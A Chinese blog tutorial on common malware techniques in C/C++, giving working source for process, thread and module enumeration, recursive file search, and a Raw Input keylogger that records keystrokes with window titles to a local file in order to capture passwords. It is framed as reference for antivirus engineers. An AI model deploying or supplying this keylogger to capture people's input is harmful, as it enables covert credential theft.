百度360必应搜狗淘宝本站头条
当前位置:网站首页 > IT知识 > 正文

C/C++恶意代码盘点(一):进程遍历丨木马病毒丨密码记录

liuian 2025-07-07 20:10 3 浏览

恶意代码的分类包括计算机病毒、蠕虫、木马、后门、Rootkit、流氓软件、间谍软件、广告软件、僵尸(bot) 、Exploit等等,有些技术经常用到,有的也是必然用到。

恶意代码常见功能技术如下:进程遍历,文件遍历,按键记录,后门,桌面截屏,文件监控,自删除,U盘监控。知己知彼,百战不殆。这里旨在给反病毒工程师提供参照。病毒作者请绕过。

进程遍历

进程遍历获取计算机上所有进程的信息(用户进程,系统进程),通常是为了检索受害进程,检测是否运行在虚拟机中,以及是否存在杀软等,有时候反调试技术也会检测进程名。所以在恶意代码中进程遍历很常见。

具体流程:

1、调用CreateToolhelp32Snapshot获取所有进程的快照信息之所以称为快照是因为保存的是之前的信息,该函数返回进程快照句柄。

2、调用Process32First获取第一个进程的信息,返回的进程信息保存在PROCESSENTRY32结构体中,该函数的第一个参数是CreateToolhelp32Snapshot返回的快照句柄。

3、循环调用Process32Next从进程列表中获取下一个进程的信息,直到Process32Next函数返回FALSE,GetLastError的错误码为ERROR_NO_MORE_FILES,则遍历结束。

4、关闭快照句柄并释放资源

遍历线程和进程模块的步骤和上面的相似,线程遍历使用Thread32First和Thread32Next,模块遍历使用Module32First和Module32Next。

源码实现:

#include "EnumInfo.h"


void ShowError(char *lpszText)
{
    char szErr[MAX_PATH] = {0};
    ::wsprintf(szErr, "%s Error[%d]\n", lpszText, ::GetLastError());
#ifdef _DEBUG
    ::MessageBox(NULL, szErr, "ERROR", MB_OK);
#endif
}


BOOL EnumProcess()
{
    PROCESSENTRY32 pe32 = { 0 };
    pe32.dwSize = sizeof(PROCESSENTRY32);
    // 获取全部进程快照
    HANDLE hProcessSnap = ::CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
    if (INVALID_HANDLE_VALUE == hProcessSnap)
    {
        ShowError("CreateToolhelp32Snapshot");
        return FALSE;
    }

    // 获取快照中第一条信息
    BOOL bRet = ::Process32First(hProcessSnap, &pe32);
    while (bRet)
    {
        // 显示 Process ID
        printf("[%d]\t", pe32.th32ProcessID);

        // 显示 进程名称
        printf("[%s]\n", pe32.szExeFile);

        // 获取快照中下一条信息
        bRet = ::Process32Next(hProcessSnap, &pe32);
    }

    // 关闭句柄
    ::CloseHandle(hProcessSnap);

    return TRUE;
}


BOOL EnumThread()
{
    THREADENTRY32 te32 = { 0 };
    te32.dwSize = sizeof(THREADENTRY32);
    // 获取全部线程快照
    HANDLE hThreadSnap = ::CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, 0);
    if (INVALID_HANDLE_VALUE == hThreadSnap)
    {
        ShowError("CreateToolhelp32Snapshot");
        return FALSE;
    }

    // 获取快照中第一条信息
    BOOL bRet = ::Thread32First(hThreadSnap, &te32);
    while (bRet)
    {
        // 显示 Owner Process ID
        printf("[%d]\t", te32.th32OwnerProcessID);

        // 显示 Thread ID
        printf("[%d]\n", te32.th32ThreadID);

        // 获取快照中下一条信息
        bRet = ::Thread32Next(hThreadSnap, &te32);
    }

    // 关闭句柄
    ::CloseHandle(hThreadSnap);

    return TRUE;
}


BOOL EnumProcessModule(DWORD dwProcessId)
{
    MODULEENTRY32 me32 = { 0 };
    me32.dwSize = sizeof(MODULEENTRY32);
    // 获取指定进程全部模块的快照
    HANDLE hModuleSnap = ::CreateToolhelp32Snapshot(TH32CS_SNAPMODULE, dwProcessId);
    if (INVALID_HANDLE_VALUE == hModuleSnap)
    {
        ShowError("CreateToolhelp32Snapshot");
        return FALSE;
    }

    // 获取快照中第一条信息
    BOOL bRet = ::Module32First(hModuleSnap, &me32);
    while (bRet)
    {
        // 显示 Process ID
        printf("[%d]\t", me32.th32ProcessID);

        // 显示 模块加载基址
        printf("[0x%p]\t", me32.modBaseAddr);

        // 显示 模块名称
        printf("[%s]\n", me32.szModule);

        // 获取快照中下一条信息
        bRet = ::Module32Next(hModuleSnap, &me32);
    }

    // 关闭句柄
    ::CloseHandle(hModuleSnap);

    return TRUE;
}


文件遍历

文件操作几乎是所有恶意代码必备的功能,木马病毒窃取机密文件然后开一个隐秘端口,(之前在kali渗透群看到有人提问如何识别木马,其实有一个简单的方法,几乎所有的木马都要与攻击者的主机通信的,查看打开了哪些奇怪的端口是一种方法)。

就算是再R0下,也经常会创建写入读取文件,文件功能经常用到。文件搜索功能主要是通过调用FindFirstFile和FindNextFile来实现。

具体流程

1、调用FindFirstFile函数,该函数接收文件路径,第二个参数指向WIN32_FIND_DATA结构的指针。若函数成功则返回搜索句柄。该结构包含文件的名称,创建日期,属性,大小等信息。

该返回结构中的成员dwFileAttributes为FILE_ATTRIBUTE_DIRECTORY时表示返回的是一个目录,否则为文件,根据cFileName获取搜索到的文件名称。如果需要重新对目录下的所有子目录文件都再次进行搜索的话,则需要对文件属性进行判断。若文件属性是目录,则继续递归搜索,搜索其目录下的目录和文件。

2、调用FindNextFile搜索下一个文件,根据返回值判断是否搜索到文件,若没有则说明文件遍历结束。

3、搜索完毕后,调用FindClose函数关闭搜索句柄,释放资源缓冲区资源。

源码实现:


#include "stdafx.h"
#include "FileSearch.h"


void SearchFile(char *pszDirectory)
{
    // 搜索指定类型文件
    DWORD dwBufferSize = 2048;
    char *pszFileName = NULL;
    char *pTempSrc = NULL;
    WIN32_FIND_DATA FileData = {0};
    BOOL bRet = FALSE;

    // 申请动态内存
    pszFileName = new char[dwBufferSize];
    pTempSrc = new char[dwBufferSize];

    // 构造搜索文件类型字符串, *.*表示搜索所有文件类型
    ::wsprintf(pszFileName, "%s\\*.*", pszDirectory);

    // 搜索第一个文件
    HANDLE hFile = ::FindFirstFile(pszFileName, &FileData);
    if (INVALID_HANDLE_VALUE != hFile)
    {
        do
        {
            // 要过滤掉 当前目录"." 和 上一层目录"..", 否则会不断进入死循环遍历
            if ('.' == FileData.cFileName[0])
            {
                continue; 
            }
            // 拼接文件路径   
            ::wsprintf(pTempSrc, "%s\\%s", pszDirectory, FileData.cFileName);
            // 判断是否是目录还是文件
            if (FileData.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY)       
            {
                // 目录, 则继续往下递归遍历文件
                SearchFile(pTempSrc);
            }
            else                                                           
            {
                // 文件
                printf("%s\n", pTempSrc);
            }

            // 搜索下一个文件
        } while (::FindNextFile(hFile, &FileData));
    }

    // 关闭文件句柄
    ::FindClose(hFile);
    // 释放内存
    delete []pTempSrc;
    pTempSrc = NULL;
    delete []pszFileName;
    pszFileName = NULL;
}


按键记录

收集用户的所有按键信息,分辨出哪些类似于账号,密码等关键信息进行利用,窃取密码,这里用原始输入模型直接从输入设备上获取数据,记录按键信息。

要想接收设备原始输入WM_INPUT消息,应用程序必须首先使用RegisterRawInputDevice注册原始输入设备,因为在默认情况下,应用程序不接受原始输入。

具体流程

1、注册原始输入设备

一个应用程序必须首先创建一个RAWINPUTDEVICE结构,这个结构表明它所希望接受设备的类别,再调用RegisterRawInputDevices注册该原始输入设备。将RAWINPUTDEVICE结构体成员dwFlags的值设置为RIDEV_INPUTSINK,即使程序不处于聚焦窗口,程序依然可以接收原始输入。

2、获取原始输入数据

消息过程中调用GetInputRawData获取设备原始输入数据。在WM_INPUT消息处理函数中,参数lParam存储着原始输入的句柄。此时可以直接调用

GetInputRawData函数,根据句柄获取RAWINPUT原始输入结构体的数据。

dwType表示原始输入的类型,RIM_TYPEKEYBOARD表示是键盘的原始输入,Message表示相应的窗口消息。WM_KEYBOARD表示普通按键消息,WM_SYSKEYDOWN表示系统按键消息,VKey存储键盘按键数据。

3、保存按键信息

GetForegroundWindow获取按键窗口的标题,然后调用GetWindowText根据窗口句柄获取标题,存储到本地文件。

源码实现:


#include "RawInputTest.h"
#include "VirtualKeyToAscii.h"


void ShowError(char *pszText)
{
    char szErr[MAX_PATH] = { 0 };
    ::wsprintf(szErr, "%s Error[%d]\n", pszText, ::GetLastError());
    ::MessageBox(NULL, szErr, "ERROR", MB_OK);
}


// 注册原始输入设备
BOOL Init(HWND hWnd)
{
    // 设置 RAWINPUTDEVICE 结构体信息
    RAWINPUTDEVICE rawinputDevice = { 0 };
    rawinputDevice.usUsagePage = 0x01;
    rawinputDevice.usUsage = 0x06;
    rawinputDevice.dwFlags = RIDEV_INPUTSINK;
    rawinputDevice.hwndTarget = hWnd;
    // 注册原始输入设备
    BOOL bRet = ::RegisterRawInputDevices(&rawinputDevice, 1, sizeof(rawinputDevice));
    if (FALSE == bRet)
    {
        ShowError("RegisterRawInputDevices");
        return FALSE;
    }

    return TRUE;
}


// 获取原始输入数据
BOOL GetData(LPARAM lParam)
{
    RAWINPUT rawinputData = { 0 };
    UINT uiSize = sizeof(rawinputData);

    // 获取原始输入数据的大小
    ::GetRawInputData((HRAWINPUT)lParam, RID_INPUT, &rawinputData, &uiSize, sizeof(RAWINPUTHEADER));
    if (RIM_TYPEKEYBOARD == rawinputData.header.dwType)
    {
        // WM_KEYDOWN --> 普通按键    WM_SYSKEYDOWN --> 系统按键(指的是ALT) 
        if ((WM_KEYDOWN == rawinputData.data.keyboard.Message) ||
            (WM_SYSKEYDOWN == rawinputData.data.keyboard.Message))
        {
            // 记录按键
            SaveKey(rawinputData.data.keyboard.VKey);
        }
    }
    return TRUE;
}


// 保存按键信息
void SaveKey(USHORT usVKey)
{
    char szKey[MAX_PATH] = { 0 };
    char szTitle[MAX_PATH] = { 0 };
    char szText[MAX_PATH] = { 0 };
    FILE *fp = NULL;
    // 获取顶层窗口
    HWND hForegroundWnd = ::GetForegroundWindow();
    // 获取顶层窗口标题
    ::GetWindowText(hForegroundWnd, szTitle, 256);
    // 将虚拟键码转换成对应的ASCII
    ::lstrcpy(szKey, GetKeyName(usVKey));
    // 构造按键记录信息字符串
    ::wsprintf(szText, "[%s] %s\r\n", szTitle, szKey);
    // 打开文件写入按键记录数据
    ::fopen_s(&fp, "keylog.txt", "a+");
    if (NULL == fp)
    {
        ShowError("fopen_s");
        return;
    }
    ::fwrite(szText, (1 + ::lstrlen(szText)), 1, fp);
    ::fclose(fp);
}


恶意代码的存在不是由于黑客之类的手段,主要还是我们开发过程中很多情况会用到这样的技术,所以大家请利用技术做正确的事情!

另外,对于编程学习的小伙伴,如果你想更好的提升你的编程核心能力(内功)不妨从现在开始!

编程学习书籍分享:

编程学习视频分享:

整理分享(多年学习的源码、项目实战视频、项目笔记,基础入门教程)

欢迎转行和学习编程的伙伴,利用更多的资料学习成长比自己琢磨更快哦!

对于C/C++感兴趣可以关注小编在后台私信我:【编程交流】一起来学习哦!可以领取一些C/C++的项目学习视频资料哦!已经设置好了关键词自动回复,自动领取就好了!

相关推荐

C/C++恶意代码盘点(一):进程遍历丨木马病毒丨密码记录

恶意代码的分类包括计算机病毒、蠕虫、木马、后门、Rootkit、流氓软件、间谍软件、广告软件、僵尸(bot)、Exploit等等,有些技术经常用到,有的也是必然用到。恶意代码常见功能技术如下:进程遍...

跨越十年的C++演进:C++11新特性全解析

原作者:Linux教程,原文「链接」:https://mp.weixin.qq.com/s/oFbiFlqiwgVcJIMMvTelEA很多刚刚进入C++领域的朋友,最初是从C语言转过来的。因...

如何在C#中调用C++方法(c#调用c++的类)

主要方式C#主要通过两种方式提供对非托管代码的调用,第一种是使用平台调用(PlatformInvoke,P/Invoke),第二种是使用不安全代码(unsafe),日常开发中我们使用最多的就是第一种...

C语言字符数组和字符串(c语言字符数组和字符串数组)

用来存放字符的数组称为字符数组,例如:charc[10];字符数组也可以是二维或多维数组。例如:charc[5][10];字符数组也允许在定义时进行初始化,例如:charc[10]={'c',...

C语言指针,如何操作字符串?linux C第45讲

1指针操作字符串在学习数组的时候,我们了解了字符串的定义,我们可以定义一个字符数组,用来存放一个字符串,例如:chararray[]={"abcde"};charbuf[]=...

信奥赛C++常用的算法总结(信息学奥赛c语言和c++有什么区别)

1、桶排序核心:①创建盛下所有数的数组②将每个数作为编号放入桶里优点:稳定、简单、容易考缺点:空间复杂度较大,时间复杂度较大。#include<bits/stdc++.h>usingn...

Arduino 使用 C 字符串(arduino 字符串 数组)

问题您想了解如何使用原始字符字符串:创建字符串、查找其长度以及比较、复制或附加字符串。核心C语言不支持Arduino样式的String功能,因此您想了解针对基本字符数组编写的其他平台的代码...

C++20 四大特性之一:Module 特性详解

C++20最大的特性是什么?最大的特性是迄今为止没有哪一款编译器完全实现了所有特性。文章来源:网易云信有人认为C++20是C++11以来最大的一次改动,甚至比C++11还要大。本文仅介绍...

C/C++的const常量总结(c++语言const)

“所谓常量,就是在代码运行过程中值恒定不变的标识符,该标识符的值可以是一个常数,也可以是字符串。”在C/C++中,通常使用define宏定义或者const来定义常量,比如:#definePI3....

学习分享 | 通过C++python的对比,帮你快速入门python

一、前言对于只接触过静态语言,而从未使用过动态语言的人来说,第一次看到python的语法可能会大为惊叹。不用申明变量类型?不用等老半天编译完成就能直接运行?不用小心的维护指针?还不用写CMakelis...

字符串常量,C语言字符串常量详解

字符常量是由一对单撇号括起来的单个字符,如'a'、'D'、'?'、'#39;。在C语言中,除了字符常量外还有字符串常量,顾名思义就是多个“...

C/C++中的内存四区(c++的内存区域分为)

1代码区存放CPU执行的机器指令。通常代码区是可共享的(即另外的执行程序可以调用它),使其可共享的目的是对于频繁被执行的程序,只需要在内存中有一份代码即可。代码区通常是只读的,使其只读的原因是防...

通过pybind11来实现python调用C++接口(一)

有小伙伴很好奇,怎么样实现python调用C++接口?哈哈,手把手教程来了。第一步:我们需要安装pybind11这个纯头文件的库,目前该库支持c++11及以上版本,在你的环境中通过命令行输入:apt-...

深入了解C++如何注释以及在哪儿注释-开课吧广场

注释虽然写起来很痛苦,但对保证代码可读性至关重要,同时这也是每一个C++开发工程师所需要做好的事情。那么C++开发过程中该如何注释?应该在哪写注释呢?关于注释风格,很多C++的Coders更喜欢行注释...

C++核心知识点速查手册(实用重点版)

一、基础必备核心1.指针与引用(遥控器原理)指针:存储地址的变量(像电视遥控器)inttv=100;//电视机int*remote=&tv;//遥控器指向电视*...